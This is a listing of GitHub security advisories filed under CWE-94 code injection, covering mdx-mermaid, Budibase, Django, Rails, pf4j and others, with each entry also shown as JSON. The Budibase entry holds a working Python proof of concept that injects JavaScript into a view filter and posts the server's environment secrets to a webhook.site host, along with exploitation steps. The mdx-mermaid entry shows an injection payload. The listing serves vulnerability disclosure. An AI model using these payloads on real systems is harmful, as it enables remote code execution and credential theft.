CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8325 vulnerabilities reference this CWE, most recent first.
GHSA-RVGM-35JW-Q628
Vulnerability from github – Published: 2022-08-31 22:26 – Updated: 2022-09-08 14:12Impact
Arbitary javascript injection
Modify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs
` + (function () {
// Put Javascript code here
return ''
}()) + `
The block below shows a valid mermaid code block
```mermaid
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```
The same block but with the exploit added
```mermaid
` + (function () {
alert('vulnerable')
return ''
}()) + `
graph TD;
A-->B;
A-->C;
B-->D;
C-->D;
```
Patches
1.3.0 and 2.0.0-rc2
Workarounds
None known
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mdx-mermaid"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "mdx-mermaid"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0-rc1"
},
{
"fixed": "2.0.0-rc2"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.0.0-rc1"
]
}
],
"aliases": [
"CVE-2022-36036"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2022-08-31T22:26:11Z",
"nvd_published_at": "2022-08-29T18:15:00Z",
"severity": "LOW"
},
"details": "### Impact\n\nArbitary javascript injection\n\nModify any mermaid code blocks with the following code and the code inside will execute when the component is loaded by MDXjs\n\n```\n` + (function () {\n // Put Javascript code here\n return \u0027\u0027\n}()) + `\n```\n\nThe block below shows a valid mermaid code block\n\n````md\n```mermaid\ngraph TD;\n A--\u003eB;\n A--\u003eC;\n B--\u003eD;\n C--\u003eD;\n```\n````\n\nThe same block but with the exploit added\n\n````md\n```mermaid\n` + (function () {\n alert(\u0027vulnerable\u0027)\n return \u0027\u0027\n}()) + `\ngraph TD;\n A--\u003eB;\n A--\u003eC;\n B--\u003eD;\n C--\u003eD;\n```\n````\n\n### Patches\n1.3.0 and 2.0.0-rc2\n\n### Workarounds\nNone known",
"id": "GHSA-rvgm-35jw-q628",
"modified": "2022-09-08T14:12:04Z",
"published": "2022-08-31T22:26:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sjwall/mdx-mermaid/security/advisories/GHSA-rvgm-35jw-q628"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36036"
},
{
"type": "WEB",
"url": "https://github.com/sjwall/mdx-mermaid/commit/f2b99386660fd13316823529c3f1314ebbcdfd2a"
},
{
"type": "PACKAGE",
"url": "https://github.com/sjwall/mdx-mermaid"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Improper Control of Generation of Code (\u0027Code Injection\u0027) in mdx-mermaid"
}
GHSA-RVHR-26G4-P2R8
Vulnerability from github – Published: 2026-02-25 18:57 – Updated: 2026-02-25 18:57Summary
A critical unsafe eval() vulnerability in Budibase's view filtering implementation allows any authenticated user (including free tier accounts) to execute arbitrary JavaScript code on the server. This vulnerability ONLY affects Budibase Cloud (SaaS) - self-hosted deployments use native CouchDB views and are not vulnerable. The vulnerability exists in packages/server/src/db/inMemoryView.ts where user-controlled view map functions are directly evaluated without sanitization.
The primary impact comes from what lives inside the pod's environment: the app-service pod runs with secrets baked into its environment variables, including INTERNAL_API_KEY, JWT_SECRET, CouchDB admin credentials, AWS keys, and more. Using the extracted CouchDB credentials, we verified direct database access, enumerated all tenant databases, and confirmed that user records (email addresses) are readable.
Details
Root Cause
File: packages/server/src/db/inMemoryView.ts:28
export async function runView(
view: DBView,
calculation: string,
group: boolean,
data: Row[]
) {
// ...
let fn = (doc: Document, emit: any) => emit(doc._id)
// BUDI-7060 -> indirect eval call appears to cause issues in cloud
eval("fn = " + view?.map?.replace("function (doc)", "function (doc, emit)")) // UNSAFE EVAL
// ...
}
Why Only Cloud is Vulnerable:
File: packages/server/src/sdk/workspace/rows/search/internal/internal.ts:194-221
if (env.SELF_HOSTED) {
// Self-hosted: Uses native CouchDB design documents - NO EVAL
response = await db.query(`database/${viewName}`, {
include_docs: !calculation,
group: !!group,
})
} else {
// Cloud: Uses in-memory PouchDB with UNSAFE EVAL
const tableId = viewInfo.meta!.tableId
const data = await fetchRaw(tableId!)
response = await inMemoryViews.runView( // <- Calls vulnerable function
viewInfo,
calculation as string,
!!group,
data
)
}
The view.map parameter comes directly from user input when creating table views with filters. The code constructs a string by concatenating "fn = " with the user-controlled map function and passes it to eval(), allowing arbitrary JavaScript execution in the Node.js server context.
Self-hosted deployments are not affected because they use native CouchDB design documents instead of the in-memory eval() path.
Attack Flow
- Authenticated user creates a table view with custom filter
- Frontend sends POST request to
/api/viewswith malicious payload in filter value - Backend stores view configuration in CouchDB
- When view is queried (GET
/api/views/{viewName}),runView()is called - Malicious code is
eval()'d on server - RCE achieved
Exploitation Vector
The vulnerability is triggered via the view filter mechanism. When creating a view with a filter condition, the filter value can be injected with JavaScript code that breaks out of the intended expression context:
Malicious filter value:
x" || (MALICIOUS_CODE_HERE, true) || "
This payload:
- Closes the expected string context with x"
- Uses || (OR operator) to inject arbitrary code
- Returns true to make the filter always match
- Closes with || "" to maintain valid syntax
Verified on Production
Tested on own Budibase Cloud account (y4ylfy7m.budibase.app,) to confirm severity. Testing was deliberately limited - no customer data was retained and exploitation was stopped once impact was confirmed:
- Achieved RCE on app-service pod (hostname: app-service-5f4f6d796d-p6dhz, Kubernetes, eu-west-1)
- Extracted process.env - confirmed presence of platform secrets (JWT_SECRET, INTERNAL_API_KEY, COUCH_DB_URL, MINIO_ACCESS_KEY, etc.)
- Used extracted COUCH_DB_URL credentials to verify CouchDB access - enumerated database list (489,827 databases) to confirm scale of impact
- Queried users table to confirm data is readable (retrieved email addresses)
- Uploaded an HTML file as a PoC artifact to confirm write access.
Proof of Concept
PoC Script
import requests, time
from urllib.parse import urlparse
# Config | CHANGE THESE
URL = "https://[YOUR-TENANT].budibase.app"
WEBHOOK = "https://webhook.site/[YOUR-WEBHOOK-ID]"
JWT = "[YOUR-JWT-TOKEN]" # budibase:auth cookie value
APP_ID = "app_dev_[TENANT]_[APP-UUID]" # x-budibase-app-id header
TABLE_ID = "[YOUR-TABLE-ID]" # any table ID (e.g. ta_users)
# Payload - parses hostname/path from WEBHOOK automatically
webhook_parsed = urlparse(WEBHOOK)
view = f"RCE_{int(time.time())}"
payload = f'''x" || (require('https').request({{hostname:'{webhook_parsed.hostname}',path:'{webhook_parsed.path}',method:'POST'}}).end(JSON.stringify(process.env)), true) || "'''
# Exploit
s = requests.Session()
s.cookies.set('budibase:auth', JWT)
s.headers.update({"x-budibase-app-id": APP_ID, "Content-Type": "application/json"})
print(f"[*] Creating view...")
s.post(f"{URL}/api/views", json={"tableId": TABLE_ID, "name": view, "filters": [{"key": "email", "condition": "EQUALS", "value": payload}]})
print(f"[*] Triggering RCE...")
s.get(f"{URL}/api/views/{view}")
print(f"[+] Done! Check: {WEBHOOK}")
Video Demo
https://github.com/user-attachments/assets/cd12e1ab-02fd-4d0d-9fb5-d78bb83cdf99
Reproduction Steps
- Prerequisites:
- Create free Budibase Cloud account at https://budibase.app
- Create a new app
-
Create a table with at least one text field
-
Exploitation:
- Copy the PoC script above
- Replace placeholders with your tenant URL, app ID, table ID
- Get your JWT token from browser cookies (
budibase:auth) - Create a webhook at https://webhook.site for exfiltration
-
Run the script:
python3 budibase_rce_poc.py -
Verification:
- Check webhook.site - you'll receive all server environment variables
- Extracted data includes JWT_SECRET, INTERNAL_API_KEY, database credentials
Additional Note
The budibase:auth session cookie has Domain=.budibase.app (leading dot = all subdomains) and no HttpOnly flag, making it readable by JavaScript. Since the RCE allows uploading arbitrary HTML files to any subdomain (as demonstrated with the PoC artifact), an attacker could serve an XSS payload from their own tenant subdomain and steal session cookies from any Budibase Cloud user who visits that page (one click ATO).
Responsible Disclosure Statement
This vulnerability was discovered during independent security research. Testing was conducted on a personal free-tier account only. Exploitation was deliberately limited to what was necessary to confirm the vulnerability and its impact:
- No customer data was accessed beyond enumerating database names and confirming that user records (email addresses) are readable
- The PoC HTML file uploaded to confirm write access is benign
- This report is being submitted directly to Budibase security with no plans for public disclosure until a fix is in place
- Before any public disclosure, this report must be redacted/simplified - all credentials, hostnames, internal API keys, tenant IDs, and other sensitive platform details included here for Budibase's remediation purposes must be removed or redacted
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "budibase"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.30.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27702"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-94",
"CWE-95"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-25T18:57:39Z",
"nvd_published_at": "2026-02-25T16:23:26Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nA critical unsafe `eval()` vulnerability in Budibase\u0027s view filtering implementation allows any authenticated user (including free tier accounts) to execute arbitrary JavaScript code on the server. **This vulnerability ONLY affects Budibase Cloud (SaaS)** - self-hosted deployments use native CouchDB views and are not vulnerable. The vulnerability exists in `packages/server/src/db/inMemoryView.ts` where user-controlled view map functions are directly evaluated without sanitization.\n\nThe primary impact comes from what lives inside the pod\u0027s environment: the `app-service` pod runs with **secrets baked into its environment variables**, including `INTERNAL_API_KEY`, `JWT_SECRET`, CouchDB admin credentials, AWS keys, and more. Using the extracted CouchDB credentials, we verified direct database access, enumerated all tenant databases, and confirmed that user records (email addresses) are readable.\n\n## Details\n\n### Root Cause\n\nFile: `packages/server/src/db/inMemoryView.ts:28`\n\n```javascript\nexport async function runView(\n view: DBView,\n calculation: string,\n group: boolean,\n data: Row[]\n) {\n // ...\n let fn = (doc: Document, emit: any) =\u003e emit(doc._id)\n // BUDI-7060 -\u003e indirect eval call appears to cause issues in cloud\n eval(\"fn = \" + view?.map?.replace(\"function (doc)\", \"function (doc, emit)\")) // UNSAFE EVAL\n // ...\n}\n```\n\n**Why Only Cloud is Vulnerable:**\n\nFile: `packages/server/src/sdk/workspace/rows/search/internal/internal.ts:194-221`\n\n```typescript\nif (env.SELF_HOSTED) {\n // Self-hosted: Uses native CouchDB design documents - NO EVAL\n response = await db.query(`database/${viewName}`, {\n include_docs: !calculation,\n group: !!group,\n })\n} else {\n // Cloud: Uses in-memory PouchDB with UNSAFE EVAL\n const tableId = viewInfo.meta!.tableId\n const data = await fetchRaw(tableId!)\n response = await inMemoryViews.runView( // \u003c- Calls vulnerable function\n viewInfo,\n calculation as string,\n !!group,\n data\n )\n}\n```\n\nThe `view.map` parameter comes directly from user input when creating table views with filters. The code constructs a string by concatenating `\"fn = \"` with the user-controlled map function and passes it to `eval()`, allowing arbitrary JavaScript execution in the Node.js server context.\n\n**Self-hosted deployments are not affected** because they use native CouchDB design documents instead of the in-memory eval() path.\n\n### Attack Flow\n\n1. Authenticated user creates a table view with custom filter\n2. Frontend sends POST request to `/api/views` with malicious payload in filter value\n3. Backend stores view configuration in CouchDB\n4. When view is queried (GET `/api/views/{viewName}`), `runView()` is called\n5. Malicious code is `eval()`\u0027d on server - RCE achieved\n\n### Exploitation Vector\n\nThe vulnerability is triggered via the view filter mechanism. When creating a view with a filter condition, the filter value can be injected with JavaScript code that breaks out of the intended expression context:\n\n**Malicious filter value:**\n```javascript\nx\" || (MALICIOUS_CODE_HERE, true) || \"\n```\n\nThis payload:\n- Closes the expected string context with `x\"`\n- Uses `||` (OR operator) to inject arbitrary code\n- Returns `true` to make the filter always match\n- Closes with `|| \"\"` to maintain valid syntax\n\n### Verified on Production\n\nTested on own Budibase Cloud account (y4ylfy7m.budibase.app,) to confirm severity. Testing was deliberately limited - no customer data was retained and exploitation was stopped once impact was confirmed:\n- Achieved RCE on `app-service` pod (hostname: `app-service-5f4f6d796d-p6dhz`, Kubernetes, `eu-west-1`)\n- Extracted `process.env` - confirmed presence of platform secrets (`JWT_SECRET`, `INTERNAL_API_KEY`, `COUCH_DB_URL`, `MINIO_ACCESS_KEY`, etc.)\n- Used extracted `COUCH_DB_URL` credentials to verify CouchDB access - enumerated database list (489,827 databases) to confirm scale of impact\n- Queried users table to confirm data is readable (retrieved email addresses)\n- Uploaded an HTML file as a PoC artifact to confirm write access.\n\n\n\n\n\n## Proof of Concept\n\n### PoC Script\n\n```python\nimport requests, time\nfrom urllib.parse import urlparse\n\n# Config | CHANGE THESE\nURL = \"https://[YOUR-TENANT].budibase.app\"\nWEBHOOK = \"https://webhook.site/[YOUR-WEBHOOK-ID]\"\nJWT = \"[YOUR-JWT-TOKEN]\" # budibase:auth cookie value\nAPP_ID = \"app_dev_[TENANT]_[APP-UUID]\" # x-budibase-app-id header\nTABLE_ID = \"[YOUR-TABLE-ID]\" # any table ID (e.g. ta_users)\n\n# Payload - parses hostname/path from WEBHOOK automatically\nwebhook_parsed = urlparse(WEBHOOK)\nview = f\"RCE_{int(time.time())}\"\npayload = f\u0027\u0027\u0027x\" || (require(\u0027https\u0027).request({{hostname:\u0027{webhook_parsed.hostname}\u0027,path:\u0027{webhook_parsed.path}\u0027,method:\u0027POST\u0027}}).end(JSON.stringify(process.env)), true) || \"\u0027\u0027\u0027\n\n# Exploit\ns = requests.Session()\ns.cookies.set(\u0027budibase:auth\u0027, JWT)\ns.headers.update({\"x-budibase-app-id\": APP_ID, \"Content-Type\": \"application/json\"})\n\nprint(f\"[*] Creating view...\")\ns.post(f\"{URL}/api/views\", json={\"tableId\": TABLE_ID, \"name\": view, \"filters\": [{\"key\": \"email\", \"condition\": \"EQUALS\", \"value\": payload}]})\n\nprint(f\"[*] Triggering RCE...\")\ns.get(f\"{URL}/api/views/{view}\")\n\nprint(f\"[+] Done! Check: {WEBHOOK}\")\n```\n\n### Video Demo\nhttps://github.com/user-attachments/assets/cd12e1ab-02fd-4d0d-9fb5-d78bb83cdf99\n\n\n### Reproduction Steps\n\n1. **Prerequisites:**\n - Create free Budibase Cloud account at https://budibase.app\n - Create a new app\n - Create a table with at least one text field\n\n2. **Exploitation:**\n - Copy the PoC script above\n - Replace placeholders with your tenant URL, app ID, table ID\n - Get your JWT token from browser cookies (`budibase:auth`)\n - Create a webhook at https://webhook.site for exfiltration\n - Run the script: `python3 budibase_rce_poc.py`\n\n3. **Verification:**\n - Check webhook.site - you\u0027ll receive all server environment variables\n - Extracted data includes JWT_SECRET, INTERNAL_API_KEY, database credentials\n\n## Additional Note\n\nThe `budibase:auth` session cookie has `Domain=.budibase.app` (leading dot = all subdomains) and no `HttpOnly` flag, making it readable by JavaScript. Since the RCE allows uploading arbitrary HTML files to any subdomain (as demonstrated with the PoC artifact), an attacker could serve an XSS payload from their own tenant subdomain and steal session cookies from any Budibase Cloud user who visits that page (one click ATO).\n\n## Responsible Disclosure Statement\n\nThis vulnerability was discovered during independent security research. Testing was conducted on a personal free-tier account only. Exploitation was deliberately limited to what was necessary to confirm the vulnerability and its impact:\n\n- No customer data was accessed beyond enumerating database names and confirming that user records (email addresses) are readable\n- The PoC HTML file uploaded to confirm write access is benign\n- This report is being submitted directly to Budibase security with no plans for public disclosure until a fix is in place\n- **Before any public disclosure, this report must be redacted/simplified** - all credentials, hostnames, internal API keys, tenant IDs, and other sensitive platform details included here for Budibase\u0027s remediation purposes must be removed or redacted",
"id": "GHSA-rvhr-26g4-p2r8",
"modified": "2026-02-25T18:57:39Z",
"published": "2026-02-25T18:57:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-rvhr-26g4-p2r8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27702"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/pull/18087"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/commit/348659810cf930dda5f669e782706594c547115d"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
},
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/releases/tag/3.30.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Budibase: Remote Code Execution via Unsafe eval() in View Filter Map Function (Budibase Cloud)"
}
GHSA-RVJ3-Q4FM-JVXG
Vulnerability from github – Published: 2022-05-02 03:38 – Updated: 2022-05-02 03:38ImageIO in Apple Mac OS X 10.4.11 and 10.5.8 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a crafted PixarFilm encoded TIFF image, related to "multiple memory corruption issues."
{
"affected": [],
"aliases": [
"CVE-2009-2809"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-09-14T16:30:00Z",
"severity": "MODERATE"
},
"details": "ImageIO in Apple Mac OS X 10.4.11 and 10.5.8 allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a crafted PixarFilm encoded TIFF image, related to \"multiple memory corruption issues.\"",
"id": "GHSA-rvj3-q4fm-jvxg",
"modified": "2022-05-02T03:38:50Z",
"published": "2022-05-02T03:38:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2009-2809"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/53170"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2009/Sep/msg00004.html"
},
{
"type": "WEB",
"url": "http://osvdb.org/57952"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/36701"
},
{
"type": "WEB",
"url": "http://support.apple.com/kb/HT3865"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/36359"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RVJ8-8M76-4334
Vulnerability from github – Published: 2022-05-01 18:28 – Updated: 2022-05-01 18:28PHP remote file inclusion vulnerability in tasks/send_queued_emails.php in NuclearBB Alpha 2, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the root_path parameter.
{
"affected": [],
"aliases": [
"CVE-2007-4906"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-09-17T16:17:00Z",
"severity": "MODERATE"
},
"details": "PHP remote file inclusion vulnerability in tasks/send_queued_emails.php in NuclearBB Alpha 2, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via a URL in the root_path parameter.",
"id": "GHSA-rvj8-8m76-4334",
"modified": "2022-05-01T18:28:07Z",
"published": "2022-05-01T18:28:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-4906"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/36556"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/4395"
},
{
"type": "WEB",
"url": "http://osvdb.org/38978"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/3142"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/479086/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RVM8-J2CP-J592
Vulnerability from github – Published: 2023-08-29 00:32 – Updated: 2023-08-31 14:48An issue in pf4j pf4j v.3.9.0 and before allows a remote attacker to obtain sensitive information and execute arbitrary code via the loadpluginPath parameter.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.pf4j:pf4j"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-40827"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-08-29T17:41:24Z",
"nvd_published_at": "2023-08-28T22:15:09Z",
"severity": "HIGH"
},
"details": "An issue in pf4j pf4j v.3.9.0 and before allows a remote attacker to obtain sensitive information and execute arbitrary code via the loadpluginPath parameter.",
"id": "GHSA-rvm8-j2cp-j592",
"modified": "2023-08-31T14:48:17Z",
"published": "2023-08-29T00:32:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40827"
},
{
"type": "WEB",
"url": "https://github.com/pf4j/pf4j/issues/536"
},
{
"type": "WEB",
"url": "https://github.com/pf4j/pf4j/pull/537"
},
{
"type": "WEB",
"url": "https://github.com/pf4j/pf4j/pull/537/commits/ed9392069fe14c6c30d9f876710e5ad40f7ea8c1"
},
{
"type": "PACKAGE",
"url": "https://github.com/pf4j/pf4j"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "pf4j vulnerable to remote code execution via loadpluginPath parameter"
}
GHSA-RVMJ-PRF9-4422
Vulnerability from github – Published: 2022-05-02 00:02 – Updated: 2022-05-02 00:02PHP remote file inclusion vulnerability in user_language.php in DeeEmm CMS (DMCMS) 0.7.4 allows remote attackers to execute arbitrary PHP code via a URL in the language_dir parameter.
{
"affected": [],
"aliases": [
"CVE-2008-3721"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-08-20T16:41:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in user_language.php in DeeEmm CMS (DMCMS) 0.7.4 allows remote attackers to execute arbitrary PHP code via a URL in the language_dir parameter.",
"id": "GHSA-rvmj-prf9-4422",
"modified": "2022-05-02T00:02:57Z",
"published": "2022-05-02T00:02:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-3721"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44505"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6250"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/4169"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2008/2411"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RVP5-MQMC-Q4G6
Vulnerability from github – Published: 2026-03-11 18:30 – Updated: 2026-03-12 15:30A remote code execution (RCE) vulnerability in OpenClaw Agent Platform v2026.2.6 allows attackers to execute arbitrary code via a Request-Side prompt injection attack.
{
"affected": [],
"aliases": [
"CVE-2026-30741"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-11T16:16:41Z",
"severity": "CRITICAL"
},
"details": "A remote code execution (RCE) vulnerability in OpenClaw Agent Platform v2026.2.6 allows attackers to execute arbitrary code via a Request-Side prompt injection attack.",
"id": "GHSA-rvp5-mqmc-q4g6",
"modified": "2026-03-12T15:30:23Z",
"published": "2026-03-11T18:30:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30741"
},
{
"type": "WEB",
"url": "https://github.com/Named1ess/CVE-2026-30741"
},
{
"type": "WEB",
"url": "https://github.com/OpenClaw/OpenClaw"
},
{
"type": "WEB",
"url": "https://www.bilibili.com/video/BV1LoFazeEBM"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-RVPQ-5XQX-PFPP
Vulnerability from github – Published: 2017-10-24 18:33 – Updated: 2025-04-03 14:27Ruby on Rails before 1.1.5 allows remote attackers to execute Ruby code with "severe" or "serious" impact via a File Upload request with an HTTP header that modifies the LOAD_PATH variable, a different vulnerability than CVE-2006-4112.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rails"
},
"ranges": [
{
"events": [
{
"introduced": "1.1.0"
},
{
"fixed": "1.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2006-4111"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T21:56:02Z",
"nvd_published_at": "2006-08-14T21:04:00Z",
"severity": "HIGH"
},
"details": "Ruby on Rails before 1.1.5 allows remote attackers to execute Ruby code with \"severe\" or \"serious\" impact via a File Upload request with an HTTP header that modifies the LOAD_PATH variable, a different vulnerability than CVE-2006-4112.",
"id": "GHSA-rvpq-5xqx-pfpp",
"modified": "2025-04-03T14:27:51Z",
"published": "2017-10-24T18:33:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2006-4111"
},
{
"type": "WEB",
"url": "https://github.com/presidentbeef/rails-security-history/blob/master/vulnerabilities.md"
},
{
"type": "PACKAGE",
"url": "https://github.com/rails/rails"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rails/CVE-2006-4111.yml"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200301174340/http://www.securityfocus.com/bid/19454"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20200808083046/http://securitytracker.com/id?1016673"
},
{
"type": "WEB",
"url": "http://blog.koehntopp.de/archives/1367-Ruby-On-Rails-Mandatory-Mystery-Patch.html"
},
{
"type": "WEB",
"url": "http://weblog.rubyonrails.org/2006/8/9/rails-1-1-5-mandatory-security-patch-and-other-tidbits"
},
{
"type": "WEB",
"url": "http://www.gentoo.org/security/en/glsa/glsa-200608-20.xml"
},
{
"type": "WEB",
"url": "http://www.novell.com/linux/security/advisories/2006_21_sr.html"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Ruby on Rails vulnerable to code injection"
}
GHSA-RVPR-2MJF-WCH6
Vulnerability from github – Published: 2022-05-01 18:30 – Updated: 2024-03-21 03:32** DISPUTED ** Multiple PHP remote file inclusion vulnerabilities in FrontAccounting (FA) 1.12 allow remote attackers to execute arbitrary PHP code via a URL in the path_to_root parameter to (1) access/logout.php or certain PHP scripts under (2) admin/, (3) dimensions/, (4) gl/, (5) inventory/, (6) manufacturing/, (7) purchasing/, (8) reporting/, (9) sales/, or (10) taxes/. NOTE: the config.php vector is already covered by CVE-2007-4279, and the login.php and language.php vectors are already covered by CVE-2007-5117. NOTE: this issue is disputed by CVE because path_to_root is defined before use in all of the other files reported in the original disclosure.
{
"affected": [],
"aliases": [
"CVE-2007-5148"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-10-01T05:17:00Z",
"severity": "MODERATE"
},
"details": "** DISPUTED ** Multiple PHP remote file inclusion vulnerabilities in FrontAccounting (FA) 1.12 allow remote attackers to execute arbitrary PHP code via a URL in the path_to_root parameter to (1) access/logout.php or certain PHP scripts under (2) admin/, (3) dimensions/, (4) gl/, (5) inventory/, (6) manufacturing/, (7) purchasing/, (8) reporting/, (9) sales/, or (10) taxes/. NOTE: the config.php vector is already covered by CVE-2007-4279, and the login.php and language.php vectors are already covered by CVE-2007-5117. NOTE: this issue is disputed by CVE because path_to_root is defined before use in all of the other files reported in the original disclosure.",
"id": "GHSA-rvpr-2mjf-wch6",
"modified": "2024-03-21T03:32:58Z",
"published": "2022-05-01T18:30:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5148"
},
{
"type": "WEB",
"url": "http://arfis.wordpress.com/2007/09/14/rfi-02-frontaccounting"
},
{
"type": "WEB",
"url": "http://osvdb.org/45524"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-RVQ6-MRPV-M6RM
Vulnerability from github – Published: 2022-05-17 03:07 – Updated: 2025-04-13 23:27The django.core.urlresolvers.reverse function in Django before 1.4.11, 1.5.x before 1.5.6, 1.6.x before 1.6.3, and 1.7.x before 1.7 beta 2 allows remote attackers to import and execute arbitrary Python modules by leveraging a view that constructs URLs using user input and a "dotted Python path."
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "1.5"
},
{
"fixed": "1.5.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "1.6"
},
{
"fixed": "1.6.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2014-0472"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-02-23T23:29:51Z",
"nvd_published_at": "2014-04-23T15:55:00Z",
"severity": "CRITICAL"
},
"details": "The django.core.urlresolvers.reverse function in Django before 1.4.11, 1.5.x before 1.5.6, 1.6.x before 1.6.3, and 1.7.x before 1.7 beta 2 allows remote attackers to import and execute arbitrary Python modules by leveraging a view that constructs URLs using user input and a \"dotted Python path.\"",
"id": "GHSA-rvq6-mrpv-m6rm",
"modified": "2025-04-13T23:27:03Z",
"published": "2022-05-17T03:07:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2014-0472"
},
{
